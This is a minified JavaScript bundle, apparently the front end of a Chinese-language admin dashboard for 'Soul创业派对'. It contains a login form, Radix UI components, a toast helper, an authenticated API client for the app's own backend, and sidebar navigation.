border-gray-700 text-white placeholder:text-gray-500 focus:border-[#38bdac]"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"密码"}),s.jsxs("div",{className:"relative",children:[s.jsx(QM,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"password",value:r,onChange:f=>a(f.target.value),placeholder:"请输入密码",className:"pl-10 bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 focus:border-[#38bdac]",onKeyDown:f=>f.key==="Enter"&&h()})]})]}),i&&s.jsx("div",{className:"bg-red-500/10 text-red-400 text-sm p-3 rounded-lg border border-red-500/20",children:i}),s.jsx(te,{onClick:h,disabled:c,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white py-5 disabled:opacity-50",children:c?"登录中...":"登录"})]})]}),s.jsx("p",{className:"text-center text-gray-500 text-xs mt-6",children:"Soul创业实验场 · 后台管理系统"})]})]})}const Ce=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("rounded-xl border bg-card text-card-foreground shadow",t),...e}));Ce.displayName="Card";const Ye=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex flex-col space-y-1.5 p-6",t),...e}));Ye.displayName="CardHeader";const Qe=b.forwardRef(({className:t,...e},n)=>s.jsx("h3",{ref:n,className:Et("font-semibold leading-none tracking-tight",t),...e}));Qe.displayName="CardTitle";const It=b.forwardRef(({className:t,...e},n)=>s.jsx("p",{ref:n,className:Et("text-sm text-muted-foreground",t),...e}));It.displayName="CardDescription";const Ee=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("p-6 pt-0",t),...e}));Ee.displayName="CardContent";const rI=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex items-center p-6 pt-0",t),...e}));rI.displayName="CardFooter";const sI={success:{bg:"#f0fdf4",border:"#22c55e",icon:"✓"},error:{bg:"#fef2f2",border:"#ef4444",icon:"✕"},info:{bg:"#eff6ff",border:"#3b82f6",icon:"ℹ"}};function Rm(t,e="info",n=3e3){const r=`toast-${Date.now()}`,a=sI[e],i=document.createElement("div");i.id=r,i.setAttribute("role","alert"),Object.assign(i.style,{position:"fixed",top:"24px",right:"24px",zIndex:"9999",display:"flex",alignItems:"center",gap:"10px",padding:"12px 18px",borderRadius:"10px",background:a.bg,border:`1.5px solid ${a.border}`,boxShadow:"0 4px 20px rgba(0,0,0,.12)",fontSize:"14px",color:"#1a1a1a",fontWeight:"500",maxWidth:"380px",lineHeight:"1.5",opacity:"0",transform:"translateY(-8px)",transition:"opacity .22s ease, transform .22s ease",pointerEvents:"none"});const o=document.createElement("span");Object.assign(o.style,{width:"20px",height:"20px",borderRadius:"50%",background:a.border,color:"#fff",display:"flex",alignItems:"center",justifyContent:"center",fontSize:"12px",fontWeight:"700",flexShrink:"0"}),o.textContent=a.icon;const c=document.createElement("span");c.textContent=t,i.appendChild(o),i.appendChild(c),document.body.appendChild(i),requestAnimationFrame(()=>{i.style.opacity="1",i.style.transform="translateY(0)"});const u=setTimeout(()=>h(r),n);function h(f){clearTimeout(u);const m=document.getElementById(f);m&&(m.style.opacity="0",m.style.transform="translateY(-8px)",setTimeout(()=>{var g;return(g=m.parentNode)==null?void 0:g.removeChild(m)},250))}}const ie={success:(t,e)=>Rm(t,"success",e),error:(t,e)=>Rm(t,"error",e),info:(t,e)=>Rm(t,"info",e)};function ot(t,e,{checkForDefaultPrevented:n=!0}={}){return function(a){if(t==null||t(a),n===!1||!a.defaultPrevented)return e==null?void 0:e(a)}}function aI(t,e){const n=b.createContext(e),r=i=>{const{children:o,...c}=i,u=b.useMemo(()=>c,Object.values(c));return s.jsx(n.Provider,{value:u,children:o})};r.displayName=t+"Provider";function a(i){const o=b.useContext(n);if(o)return o;if(e!==void 0)return e;throw new Error(`\`${i}\` must be used within \`${t}\``)}return[r,a]}function Ei(t,e=[]){let n=[];function r(i,o){const c=b.createContext(o),u=n.length;n=[...n,o];const h=m=>{var k;const{scope:g,children:y,...N}=m,w=((k=g==null?void 0:g[t])==null?void 0:k[u])||c,v=b.useMemo(()=>N,Object.values(N));return s.jsx(w.Provider,{value:v,children:y})};h.displayName=i+"Provider";function f(m,g){var w;const y=((w=g==null?void 0:g[t])==null?void 0:w[u])||c,N=b.useContext(y);if(N)return N;if(o!==void 0)return o;throw new Error(`\`${m}\` must be used within \`${i}\``)}return[h,f]}const a=()=>{const i=n.map(o=>b.createContext(o));return function(c){const u=(c==null?void 0:c[t])||i;return b.useMemo(()=>({[`__scope${t}`]:{...c,[t]:u}}),[c,u])}};return a.scopeName=t,[r,iI(a,...e)]}function iI(...t){const e=t[0];if(t.length===1)return e;const n=()=>{const r=t.map(a=>({useScope:a(),scopeName:a.scopeName}));return function(i){const o=r.reduce((c,{useScope:u,scopeName:h})=>{const m=u(i)[`__scope${h}`];return{...c,...m}},{});return b.useMemo(()=>({[`__scope${e.scopeName}`]:o}),[o])}};return n.scopeName=e.scopeName,n}var or=globalThis!=null&&globalThis.document?b.useLayoutEffect:()=>{},oI=uf[" useId ".trim().toString()]||(()=>{}),lI=0;function fi(t){const[e,n]=b.useState(oI());return or(()=>{n(r=>r??String(lI++))},[t]),e?`radix-${e}`:""}var cI=uf[" useInsertionEffect ".trim().toString()]||or;function xo({prop:t,defaultProp:e,onChange:n=()=>{},caller:r}){const[a,i,o]=dI({defaultProp:e,onChange:n}),c=t!==void 0,u=c?t:a;{const f=b.useRef(t!==void 0);b.useEffect(()=>{const m=f.current;m!==c&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${c?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),f.current=c},[c,r])}const h=b.useCallback(f=>{var m;if(c){const g=uI(f)?f(t):f;g!==t&&((m=o.current)==null||m.call(o,g))}else i(f)},[c,t,i,o]);return[u,h]}function dI({defaultProp:t,onChange:e}){const[n,r]=b.useState(t),a=b.useRef(n),i=b.useRef(e);return cI(()=>{i.current=e},[e]),b.useEffect(()=>{var o;a.current!==n&&((o=i.current)==null||o.call(i,n),a.current=n)},[n,a]),[n,r,i]}function uI(t){return typeof t=="function"}function ed(t){const e=hI(t),n=b.forwardRef((r,a)=>{const{children:i,...o}=r,c=b.Children.toArray(i),u=c.find(pI);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}function hI(t){const e=b.forwardRef((n,r)=>{const{children:a,...i}=n;if(b.isValidElement(a)){const o=gI(a),c=mI(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var fI=Symbol("radix.slottable");function pI(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===fI}function mI(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function gI(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var xI=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ht=xI.reduce((t,e)=>{const n=ed(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{});function yI(t,e){t&&md.flushSync(()=>t.dispatchEvent(e))}function bi(t){const e=b.useRef(t);return b.useEffect(()=>{e.current=t}),b.useMemo(()=>(...n)=>{var r;return(r=e.current)==null?void 0:r.call(e,...n)},[])}function bI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t);b.useEffect(()=>{const r=a=>{a.key==="Escape"&&n(a)};return e.addEventListener("keydown",r,{capture:!0}),()=>e.removeEventListener("keydown",r,{capture:!0})},[n,e])}var vI="DismissableLayer",zg="dismissableLayer.update",NI="dismissableLayer.pointerDownOutside",wI="dismissableLayer.focusOutside",Xv,wj=b.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Ux=b.forwardRef((t,e)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:a,onFocusOutside:i,onInteractOutside:o,onDismiss:c,...u}=t,h=b.useContext(wj),[f,m]=b.useState(null),g=(f==null?void 0:f.ownerDocument)??(globalThis==null?void 0:globalThis.document),[,y]=b.useState({}),N=Ct(e,L=>m(L)),w=Array.from(h.layers),[v]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),k=w.indexOf(v),C=f?w.indexOf(f):-1,E=h.layersWithOutsidePointerEventsDisabled.size>0,T=C>=k,I=SI(L=>{const R=L.target,D=[...h.branches].some(_=>_.contains(R));!T||D||(a==null||a(L),o==null||o(L),L.defaultPrevented||c==null||c())},g),O=CI(L=>{const R=L.target;[...h.branches].some(_=>_.contains(R))||(i==null||i(L),o==null||o(L),L.defaultPrevented||c==null||c())},g);return bI(L=>{C===h.layers.size-1&&(r==null||r(L),!L.defaultPrevented&&c&&(L.preventDefault(),c()))},g),b.useEffect(()=>{if(f)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(Xv=g.body.style.pointerEvents,g.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(f)),h.layers.add(f),Zv(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(g.body.style.pointerEvents=Xv)}},[f,g,n,h]),b.useEffect(()=>()=>{f&&(h.layers.delete(f),h.layersWithOutsidePointerEventsDisabled.delete(f),Zv())},[f,h]),b.useEffect(()=>{const L=()=>y({});return document.addEventListener(zg,L),()=>document.removeEventListener(zg,L)},[]),s.jsx(ht.div,{...u,ref:N,style:{pointerEvents:E?T?"auto":"none":void 0,...t.style},onFocusCapture:ot(t.onFocusCapture,O.onFocusCapture),onBlurCapture:ot(t.onBlurCapture,O.onBlurCapture),onPointerDownCapture:ot(t.onPointerDownCapture,I.onPointerDownCapture)})});Ux.displayName=vI;var jI="DismissableLayerBranch",kI=b.forwardRef((t,e)=>{const n=b.useContext(wj),r=b.useRef(null),a=Ct(e,r);return b.useEffect(()=>{const i=r.current;if(i)return n.branches.add(i),()=>{n.branches.delete(i)}},[n.branches]),s.jsx(ht.div,{...t,ref:a})});kI.displayName=jI;function SI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1),a=b.useRef(()=>{});return b.useEffect(()=>{const i=c=>{if(c.target&&!r.current){let u=function(){jj(NI,n,h,{discrete:!0})};const h={originalEvent:c};c.pointerType==="touch"?(e.removeEventListener("click",a.current),a.current=u,e.addEventListener("click",a.current,{once:!0})):u()}else e.removeEventListener("click",a.current);r.current=!1},o=window.setTimeout(()=>{e.addEventListener("pointerdown",i)},0);return()=>{window.clearTimeout(o),e.removeEventListener("pointerdown",i),e.removeEventListener("click",a.current)}},[e,n]),{onPointerDownCapture:()=>r.current=!0}}function CI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1);return b.useEffect(()=>{const a=i=>{i.target&&!r.current&&jj(wI,n,{originalEvent:i},{discrete:!1})};return e.addEventListener("focusin",a),()=>e.removeEventListener("focusin",a)},[e,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function Zv(){const t=new CustomEvent(zg);document.dispatchEvent(t)}function jj(t,e,n,{discrete:r}){const a=n.originalEvent.target,i=new CustomEvent(t,{bubbles:!1,cancelable:!0,detail:n});e&&a.addEventListener(t,e,{once:!0}),r?yI(a,i):a.dispatchEvent(i)}var Pm="focusScope.autoFocusOnMount",Om="focusScope.autoFocusOnUnmount",e1={bubbles:!1,cancelable:!0},EI="FocusScope",Kx=b.forwardRef((t,e)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:a,onUnmountAutoFocus:i,...o}=t,[c,u]=b.useState(null),h=bi(a),f=bi(i),m=b.useRef(null),g=Ct(e,w=>u(w)),y=b.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;b.useEffect(()=>{if(r){let w=function(E){if(y.paused||!c)return;const T=E.target;c.contains(T)?m.current=T:Za(m.current,{select:!0})},v=function(E){if(y.paused||!c)return;const T=E.relatedTarget;T!==null&&(c.contains(T)||Za(m.current,{select:!0}))},k=function(E){if(document.activeElement===document.body)for(const I of E)I.removedNodes.length>0&&Za(c)};document.addEventListener("focusin",w),document.addEventListener("focusout",v);const C=new MutationObserver(k);return c&&C.observe(c,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",v),C.disconnect()}}},[r,c,y.paused]),b.useEffect(()=>{if(c){n1.add(y);const w=document.activeElement;if(!c.contains(w)){const k=new CustomEvent(Pm,e1);c.addEventListener(Pm,h),c.dispatchEvent(k),k.defaultPrevented||(TI(PI(kj(c)),{select:!0}),document.activeElement===w&&Za(c))}return()=>{c.removeEventListener(Pm,h),setTimeout(()=>{const k=new CustomEvent(Om,e1);c.addEventListener(Om,f),c.dispatchEvent(k),k.defaultPrevented||Za(w??document.body,{select:!0}),c.removeEventListener(Om,f),n1.remove(y)},0)}}},[c,h,f,y]);const N=b.useCallback(w=>{if(!n&&!r||y.paused)return;const v=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,k=document.activeElement;if(v&&k){const C=w.currentTarget,[E,T]=MI(C);E&&T?!w.shiftKey&&k===T?(w.preventDefault(),n&&Za(E,{select:!0})):w.shiftKey&&k===E&&(w.preventDefault(),n&&Za(T,{select:!0})):k===C&&w.preventDefault()}},[n,r,y.paused]);return s.jsx(ht.div,{tabIndex:-1,...o,ref:g,onKeyDown:N})});Kx.displayName=EI;function TI(t,{select:e=!1}={}){const n=document.activeElement;for(const r of t)if(Za(r,{select:e}),document.activeElement!==n)return}function MI(t){const e=kj(t),n=t1(e,t),r=t1(e.reverse(),t);return[n,r]}function kj(t){const e=[],n=document.createTreeWalker(t,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const a=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||a?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)e.push(n.currentNode);return e}function t1(t,e){for(const n of t)if(!AI(n,{upTo:e}))return n}function AI(t,{upTo:e}){if(getComputedStyle(t).visibility==="hidden")return!0;for(;t;){if(e!==void 0&&t===e)return!1;if(getComputedStyle(t).display==="none")return!0;t=t.parentElement}return!1}function II(t){return t instanceof HTMLInputElement&&"select"in t}function Za(t,{select:e=!1}={}){if(t&&t.focus){const n=document.activeElement;t.focus({preventScroll:!0}),t!==n&&II(t)&&e&&t.select()}}var n1=RI();function RI(){let t=[];return{add(e){const n=t[0];e!==n&&(n==null||n.pause()),t=r1(t,e),t.unshift(e)},remove(e){var n;t=r1(t,e),(n=t[0])==null||n.resume()}}}function r1(t,e){const n=[...t],r=n.indexOf(e);return r!==-1&&n.splice(r,1),n}function PI(t){return t.filter(e=>e.tagName!=="A")}var OI="Portal",qx=b.forwardRef((t,e)=>{var c;const{container:n,...r}=t,[a,i]=b.useState(!1);or(()=>i(!0),[]);const o=n||a&&((c=globalThis==null?void 0:globalThis.document)==null?void 0:c.body);return o?Ow.createPortal(s.jsx(ht.div,{...r,ref:e}),o):null});qx.displayName=OI;function DI(t,e){return b.useReducer((n,r)=>e[n][r]??n,t)}var gd=t=>{const{present:e,children:n}=t,r=LI(e),a=typeof n=="function"?n({present:r.isPresent}):b.Children.only(n),i=Ct(r.ref,_I(a));return typeof n=="function"||r.isPresent?b.cloneElement(a,{ref:i}):null};gd.displayName="Presence";function LI(t){const[e,n]=b.useState(),r=b.useRef(null),a=b.useRef(t),i=b.useRef("none"),o=t?"mounted":"unmounted",[c,u]=DI(o,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return b.useEffect(()=>{const h=Mu(r.current);i.current=c==="mounted"?h:"none"},[c]),or(()=>{const h=r.current,f=a.current;if(f!==t){const g=i.current,y=Mu(h);t?u("MOUNT"):y==="none"||(h==null?void 0:h.display)==="none"?u("UNMOUNT"):u(f&&g!==y?"ANIMATION_OUT":"UNMOUNT"),a.current=t}},[t,u]),or(()=>{if(e){let h;const f=e.ownerDocument.defaultView??window,m=y=>{const w=Mu(r.current).includes(CSS.escape(y.animationName));if(y.target===e&&w&&(u("ANIMATION_END"),!a.current)){const v=e.style.animationFillMode;e.style.animationFillMode="forwards",h=f.setTimeout(()=>{e.style.animationFillMode==="forwards"&&(e.style.animationFillMode=v)})}},g=y=>{y.target===e&&(i.current=Mu(r.current))};return e.addEventListener("animationstart",g),e.addEventListener("animationcancel",m),e.addEventListener("animationend",m),()=>{f.clearTimeout(h),e.removeEventListener("animationstart",g),e.removeEventListener("animationcancel",m),e.removeEventListener("animationend",m)}}else u("ANIMATION_END")},[e,u]),{isPresent:["mounted","unmountSuspended"].includes(c),ref:b.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function Mu(t){return(t==null?void 0:t.animationName)||"none"}function _I(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var Dm=0;function Sj(){b.useEffect(()=>{const t=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",t[0]??s1()),document.body.insertAdjacentElement("beforeend",t[1]??s1()),Dm++,()=>{Dm===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(e=>e.remove()),Dm--}},[])}function s1(){const t=document.createElement("span");return t.setAttribute("data-radix-focus-guard",""),t.tabIndex=0,t.style.outline="none",t.style.opacity="0",t.style.position="fixed",t.style.pointerEvents="none",t}var Vs=function(){return Vs=Object.assign||function(e){for(var n,r=1,a=arguments.length;r"u")return eR;var e=tR(t),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:e[0],top:e[1],right:e[2],gap:Math.max(0,r-n+e[2]-e[0])}},rR=Mj(),bl="data-scroll-locked",sR=function(t,e,n,r){var a=t.left,i=t.top,o=t.right,c=t.gap;return n===void 0&&(n="margin"),` + */const XA=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],li=Me("zap",XA),Vx="admin_token";function pf(){try{return localStorage.getItem(Vx)}catch{return null}}function ZA(t){try{localStorage.setItem(Vx,t)}catch{}}function Mm(){try{localStorage.removeItem(Vx)}catch{}}const e5="https://soulapi.quwanzhi.com",t5=15e3,Hv=6e4,n5=()=>{const t="https://soulapi.quwanzhi.com";return t.length>0?t.replace(/\/$/,""):e5};function go(t){const e=n5(),n=t.startsWith("/")?t:`/${t}`;return e?`${e}${n}`:n}async function mf(t,e={}){const{data:n,...r}=e,a=go(t),i=new Headers(r.headers),o=pf();o&&i.set("Authorization",`Bearer ${o}`),n!=null&&!i.has("Content-Type")&&i.set("Content-Type","application/json");const c=n!=null?JSON.stringify(n):r.body,u=r.timeout??t5,h=new AbortController,f=setTimeout(()=>h.abort(),u),m=await fetch(a,{...r,headers:i,body:c,credentials:"include",signal:h.signal}).finally(()=>clearTimeout(f)),y=(m.headers.get("Content-Type")||"").includes("application/json")?await m.json():m,N=w=>{const v=w,k=((v==null?void 0:v.message)||(v==null?void 0:v.error)||"").toString();(k.includes("可提现金额不足")||k.includes("可提现不足")||k.includes("余额不足"))&&window.dispatchEvent(new CustomEvent("recharge-alert",{detail:k}))};if(!m.ok){N(y);const w=new Error((y==null?void 0:y.error)||`HTTP ${m.status}`);throw w.status=m.status,w.data=y,w}return N(y),y}function De(t,e){return mf(t,{...e,method:"GET"})}function vt(t,e,n){return mf(t,{...n,method:"POST",data:e})}function zt(t,e,n){return mf(t,{...n,method:"PUT",data:e})}function Bs(t,e){return mf(t,{...e,method:"DELETE"})}function r5(){const[t,e]=b.useState(!1),[n,r]=b.useState("");return b.useEffect(()=>{const a=i=>{const o=i.detail;r(o||"可提现/余额不足,请及时充值商户号"),e(!0)};return window.addEventListener("recharge-alert",a),()=>window.removeEventListener("recharge-alert",a)},[]),t?s.jsxs("div",{className:"flex items-center justify-between gap-4 px-4 py-3 bg-red-900/80 border-b border-red-600/50 text-red-100",role:"alert",children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(qw,{className:"w-5 h-5 shrink-0 text-red-400"}),s.jsxs("span",{className:"text-sm font-medium",children:[n,s.jsx("span",{className:"ml-2 text-red-300",children:"请及时充值商户号或核对账户后重试。"})]})]}),s.jsx("button",{type:"button",onClick:()=>e(!1),className:"shrink-0 p-1 rounded hover:bg-red-800/50 transition-colors","aria-label":"关闭告警",children:s.jsx(ir,{className:"w-4 h-4"})})]}):null}const s5=[{icon:HM,label:"数据概览",href:"/dashboard"},{icon:Br,label:"内容管理",href:"/content"},{icon:Zn,label:"用户管理",href:"/users"},{icon:NM,label:"找伙伴",href:"/find-partner"},{icon:jl,label:"推广中心",href:"/distribution"}];function a5(){const t=Si(),e=Ci(),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{r(!0)},[]),b.useEffect(()=>{if(!n)return;i(!1);let c=!1;if(!pf()){e("/login",{replace:!0});return}return De("/api/admin").then(u=>{c||(u&&u.success!==!1?i(!0):(Mm(),e("/login",{replace:!0,state:{from:t.pathname}})))}).catch(()=>{c||(Mm(),e("/login",{replace:!0,state:{from:t.pathname}}))}),()=>{c=!0}},[t.pathname,n,e]);const o=async()=>{Mm();try{await vt("/api/admin/logout",{})}catch{}e("/login",{replace:!0})};return!n||!a?s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsx("div",{className:"w-64 bg-[#0f2137] border-r border-gray-700/50"}),s.jsx("div",{className:"flex-1 flex items-center justify-center",children:s.jsx("div",{className:"text-[#38bdac]",children:"加载中..."})})]}):s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsxs("div",{className:"w-64 bg-[#0f2137] flex flex-col border-r border-gray-700/50 shadow-xl",children:[s.jsxs("div",{className:"p-6 border-b border-gray-700/50",children:[s.jsx("h1",{className:"text-xl font-bold text-[#38bdac]",children:"管理后台"}),s.jsx("p",{className:"text-xs text-gray-400 mt-1",children:"Soul创业派对"})]}),s.jsxs("nav",{className:"flex-1 p-4 space-y-1 overflow-y-auto",children:[s5.map(c=>{const u=t.pathname===c.href;return s.jsxs(Eg,{to:c.href,className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${u?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(c.icon,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:c.label})]},c.href)}),s.jsx("div",{className:"pt-4 mt-4 border-t border-gray-700/50",children:s.jsxs(Eg,{to:"/settings",className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${t.pathname==="/settings"?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(lo,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:"系统设置"})]})})]}),s.jsx("div",{className:"p-4 border-t border-gray-700/50 space-y-1",children:s.jsxs("button",{type:"button",onClick:o,className:"w-full flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white rounded-lg hover:bg-gray-700/50 transition-colors",children:[s.jsx(ZM,{className:"w-5 h-5"}),s.jsx("span",{className:"text-sm",children:"退出登录"})]})})]}),s.jsxs("div",{className:"flex-1 overflow-auto bg-[#0a1628] min-w-0 flex flex-col",children:[s.jsx(r5,{}),s.jsx("div",{className:"w-full min-w-[1024px] min-h-full flex-1",children:s.jsx(vT,{})})]})]})}function Wv(t,e){if(typeof t=="function")return t(e);t!=null&&(t.current=e)}function Hx(...t){return e=>{let n=!1;const r=t.map(a=>{const i=Wv(a,e);return!n&&typeof i=="function"&&(n=!0),i});if(n)return()=>{for(let a=0;a{let{children:i,...o}=r;sj(i)&&typeof hh=="function"&&(i=hh(i._payload));const c=b.Children.toArray(i),u=c.find(d5);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}var ij=aj("Slot");function l5(t){const e=b.forwardRef((n,r)=>{let{children:a,...i}=n;if(sj(a)&&typeof hh=="function"&&(a=hh(a._payload)),b.isValidElement(a)){const o=h5(a),c=u5(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var c5=Symbol("radix.slottable");function d5(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===c5}function u5(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function h5(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}function oj(t){var e,n,r="";if(typeof t=="string"||typeof t=="number")r+=t;else if(typeof t=="object")if(Array.isArray(t)){var a=t.length;for(e=0;etypeof t=="boolean"?`${t}`:t===0?"0":t,Kv=lj,cj=(t,e)=>n=>{var r;if((e==null?void 0:e.variants)==null)return Kv(t,n==null?void 0:n.class,n==null?void 0:n.className);const{variants:a,defaultVariants:i}=e,o=Object.keys(a).map(h=>{const f=n==null?void 0:n[h],m=i==null?void 0:i[h];if(f===null)return null;const g=Uv(f)||Uv(m);return a[h][g]}),c=n&&Object.entries(n).reduce((h,f)=>{let[m,g]=f;return g===void 0||(h[m]=g),h},{}),u=e==null||(r=e.compoundVariants)===null||r===void 0?void 0:r.reduce((h,f)=>{let{class:m,className:g,...y}=f;return Object.entries(y).every(N=>{let[w,v]=N;return Array.isArray(v)?v.includes({...i,...c}[w]):{...i,...c}[w]===v})?[...h,m,g]:h},[]);return Kv(t,o,u,n==null?void 0:n.class,n==null?void 0:n.className)},f5=(t,e)=>{const n=new Array(t.length+e.length);for(let r=0;r({classGroupId:t,validator:e}),dj=(t=new Map,e=null,n)=>({nextPart:t,validators:e,classGroupId:n}),fh="-",qv=[],m5="arbitrary..",g5=t=>{const e=y5(t),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=t;return{getClassGroupId:o=>{if(o.startsWith("[")&&o.endsWith("]"))return x5(o);const c=o.split(fh),u=c[0]===""&&c.length>1?1:0;return uj(c,u,e)},getConflictingClassGroupIds:(o,c)=>{if(c){const u=r[o],h=n[o];return u?h?f5(h,u):u:h||qv}return n[o]||qv}}},uj=(t,e,n)=>{if(t.length-e===0)return n.classGroupId;const a=t[e],i=n.nextPart.get(a);if(i){const h=uj(t,e+1,i);if(h)return h}const o=n.validators;if(o===null)return;const c=e===0?t.join(fh):t.slice(e).join(fh),u=o.length;for(let h=0;ht.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const e=t.slice(1,-1),n=e.indexOf(":"),r=e.slice(0,n);return r?m5+r:void 0})(),y5=t=>{const{theme:e,classGroups:n}=t;return b5(n,e)},b5=(t,e)=>{const n=dj();for(const r in t){const a=t[r];Wx(a,n,r,e)}return n},Wx=(t,e,n,r)=>{const a=t.length;for(let i=0;i{if(typeof t=="string"){N5(t,e,n);return}if(typeof t=="function"){w5(t,e,n,r);return}j5(t,e,n,r)},N5=(t,e,n)=>{const r=t===""?e:hj(e,t);r.classGroupId=n},w5=(t,e,n,r)=>{if(k5(t)){Wx(t(r),e,n,r);return}e.validators===null&&(e.validators=[]),e.validators.push(p5(n,t))},j5=(t,e,n,r)=>{const a=Object.entries(t),i=a.length;for(let o=0;o{let n=t;const 